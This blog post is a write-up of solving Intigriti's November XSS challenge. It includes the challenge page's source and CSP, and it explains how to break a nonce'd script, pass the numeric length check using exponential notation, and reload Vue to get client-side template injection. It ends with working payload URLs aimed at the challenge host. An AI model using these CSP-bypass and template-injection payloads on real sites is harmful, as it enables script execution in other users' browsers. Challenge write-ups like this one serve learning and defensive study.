Intigriti November XSS Challenge
Read Time:7 Minute, 54 Second

Intigriti November XSS Challenge

2 0

The bug bounty program Intigriti hosts an XSS challenge every month. This time, the challenge was about bypassing CSP by reloading a VueJS instance, getting able to exploit a client side template injection.

My solution can be summarized in 4 main steps:

  • Finding reflection and achieving HTML Injection
  • Accessing an abusable piece of code, containing a sink for a Dom XSS
  • Bypassing some unsafe checks
  • Reloading the vue instance, performing a CSTI achieving XSS

I will leave a copy of the entire (and cleaned) page source code here, so refer to this if needed.

<html>
<head>
	<title>You searched for ''</title>
	<script nonce="nonce-value">
		var isProd = true;
	</script>
	<script nonce="nonce-value">
		function addJS(src, cb){
			let s = document.createElement('script');
			s.src = src;
			s.onload = cb;
			let sf = document.getElementsByTagName('script')[0];
    			sf.parentNode.insertBefore(s, sf);
		}
		
		function initVUE(){
			if (!window.Vue){
				setTimeout(initVUE, 100);
			}
			new Vue({
				el: '#app',
				delimiters: window.delimiters,
				data: {
					"owasp":[
						{"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":"bbbb"},
						].filter(e=>{
							return (e.title + ' - ' + e.description)
								.includes(new URL(location).searchParams.get('s')|| ' ');
						}),
					"search": new URL(location).searchParams.get('s')
				}
			})
		}
	</script>
	<script nonce="nonce-value">
		var delimiters = ['v-{{', '}}'];
		addJS('./vuejs.php', initVUE);
	</script>
	<script nonce="nonce-value">
        // setting to true or avoid setting to false
		if (!window.isProd){
			let version = new URL(location).searchParams.get('version') || '';
			// taking 12 chars from ?version
			version = version.slice(0,12);
			let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
			// ?vueDevtools
			vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

			if (version === 999999999999){
				setTimeout(window.legacyLogger, 1000);
			} else if (version > 1000000000000){
				addJS(vueDevtools, window.initVUE);
			} else{
				console.log(performance)
			}
		}
	</script>
</head>
<body>
<div id="app">
<form action="" method="GET">
<input type="text "name="s" v-model="search"/>
<input type="submit" value="🔍">
</form>
<p>You searched for v-{{search}}</p>
<ul class="tilesWrap">
  <li v-for="item in owasp">
    <h2>v-{{item.target}}</h2>
    <h3>v-{{item.title}}</h3>
    <p>v-{{item.description}}</p>
    <p>
      <a v-bind:href="'https://blog.intigriti.com/2021/09/10/owasp-top-10/#'+item.target" target="blog" class="readMore">Read more</a>
    </p>
  </li>
</ul>
</div>
</body>
</html>

This challenge presents a strict CSP ruleset.

This ruleset is, on top of all, using the nonce directive, which would allow the execution only of the scripts having the correct nonce value. https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce

The csp nonce is a randomly generated value which gets delivered on the page load both in the response body, and the ruleset, represented as “nonce-$randomvalue”

the policy looks like this:

base-uri 'self'; default-src 'self'; script-src 'unsafe-eval' 'nonce-633447763b9cc76a47679bba1e83195b' 'strict-dynamic'; object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='

and a pseudocode from the backend would be:

app.get("/", () => {
  RANDOMVALUE = md5(rand())
  res.body = "<script nonce = $RANDOMVALUE>...</script>"
  res.headers['content-security-policy'] = "... nonce-$RANDOMVALUE ..."
})

Another interesting directive is strict-dynamic.

This directive would allow execution of scripts imported from trusted pages, such as vuejs.php, which is just redirecting to the source of vueJS from unpkg.

https://csp.withgoogle.com/docs/strict-csp.html

Besides of that, let’s keep in mind that strict-dynamic also allows the execution of scripts generated on the DOM by trusted scripts using APIs such as createElement, which is used inside of the application.


First step: finding reflection

The application allows users to search for some article in a static array of example data. The searched content will then get reflected on the page by VueJS in a (sanitized) p tag, and unsafely into the page title

Arbitrary content reflection – HTML Injection

Injecting javascript into the search parameter would not result in any XSS, as CSP would stop anything from being executed if they does not provide the correct nonce value.


Second step: reaching the abusable

The application hosts an interesting piece of code at the end of the page:

    if (!window.isProd){
      let version = new URL(location).searchParams.get('version') || '';
      version = version.slice(0,12);
      let vueDevtools = new URL(location).searchParams.get('vueDevtools') ||
'';
      // ?vueDevtools
      vueDevtools = vueDevtools.replace(/[^0-9%a-
z/.]/gi,'').replace(/^\/\/+/,'');
      if (version === 999999999999){
        setTimeout(window.legacyLogger, 1000);
      } else if (version > 1000000000000){
        addJS(vueDevtools, window.initVUE);
      } else{
        console.log(performance)
} }

It was not possible to reach and trigger anything of that portion, because isProd is being set to true in a script, positioned right after the title.

<html>
<head>
  <title>You searched for ''</title>
    <script nonce="2585d7da4a302c7a383fbea724835643">
    var isProd = true;
</script>

CSP comes handy here, but from an attacker perspective.

By a mutation XSS, it is possible to leave an open script tag, which would then gets closed by the first next following closing tag.

<head>
  <title>You searched for '<script>'</title>
    <script nonce="2585d7da4a302c7a383fbea724835643">
    var isProd = true;
  </script>'

by doing this, the console showed an error, informing us that the script which is setting isProd to true is being ignored because of the missing nonce value, caused by the open script tag which doesn’t have a nonce.

Basically here we are abusing of CSP as attackers, to disable a part of the code which we don’t want to be executed. It reminds me of a glitch

Error triggered by the CSP violation caused by “breaking” the original valid tag

Third step: JavaScript and exponentials

This part was really funny.

	<script nonce="2585d7da4a302c7a383fbea724835643">
		if (!window.isProd){
			let version = new URL(location).searchParams.get('version') || '';
			// taking 12 chars from ?version
			version = version.slice(0,12);
			let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
			// ?vueDevtools
			vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

			if (version === 999999999999){
				setTimeout(window.legacyLogger, 1000);
			} else if (version > 1000000000000){
				addJS(vueDevtools, window.initVUE);
			} else{
				console.log(performance)
			}
		}
	</script>

the first if condition is now being validated, so we can start supplying the version, and vueDevtools parameters.

The next check is verifying if the version parameter is stricly equals to 99999999999, or greater than 1000000000000. Note that our parameter is getting parsed as a string, so I haven’t found a way (or a reason) to validate the first check.

The second check would allow us to create a script tag with an arbitrary (but filtered) source value.

The main problem here, is that the version variable represents the first 12 digits of the user supplied input, as stated in

version = version.slice(0,12);

The comparison is being made between our sliced 12 chars input, and a number (1000000000000) having 13 digits.

The way javascript treat numbers can be weird, it’s good to remember even if it’s not really the case here.

Numbers can be expressed in different ways, one of them is the exponential form, which is basically the scientific notation of a number. For example, a number like 99999 can be represented as 9.999e+3

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential

Because of this, the check was bypassable by suppling, for example, the exponential of 100000000000000, which is 10e+13.

The payload is, at the moment:

https://challenge-1121.intigriti.io/challenge/index.php?s=</title><h1>ARBITRARY</h1><script>&version=10e+13

by supplying this, a new script tag with empty source appears into the page (and no new CSP errors in the console), confirming the execution of the addJS function.

CSP Alowed script tag created on the page

Fourth step: abusing the “unlocked” function and csp strict-dynamic

We are now able to execute addJS, which looks as follow:

function addJS(src, cb){
	let s = document.createElement('script');
	s.src = src;
	s.onload = cb;
	let sf = document.getElementsByTagName('script')[0];
	sf.parentNode.insertBefore(s, sf);
}

Here is something really interesting: a createElement usage. Anything created by this api would be unrestricted by CSP, for the usage of the strict-dynamic directive .

What happens here is that we are reimporting vuejs, and reloading its context.

By reloading the context, data is going to be rerendered, and reparsed, keeping the user supplied “s” parameter (which gets part of the document itself, not of the virtual dom) in consideration.

A final step has now to be considered, as the templating syntax has been slighlty customized

<script nonce="2585d7da4a302c7a383fbea724835643">
	var delimiters = ['v-{{', '}}'];
	addJS('./vuejs.php', initVUE);
</script>

it is possible to trigger a reflected XSS by a VueJS CSTI (client side template injection), by supplying valid VueJS payload v-{{ constructor.constructor("alert(document.domain)")() }}

The final payload is:

https://challenge-1121.intigriti.io/challenge/index.php?s=</title>v-{{ constructor.constructor("alert(document.domain)")() }}<script><script>&version=10000000e+52&vueDevtools=vuejs.php

Happy
Happy
100 %
Sad
Sad
0 %
Excited
Excited
0 %
Sleepy
Sleepy
0 %
Angry
Angry
0 %
Surprise
Surprise
0 %
Previous post CVE-2021-43136 – FormaLMS – The evil default value that leads to Authentication Bypass
Next post Intigriti XSS Challenge – December 2021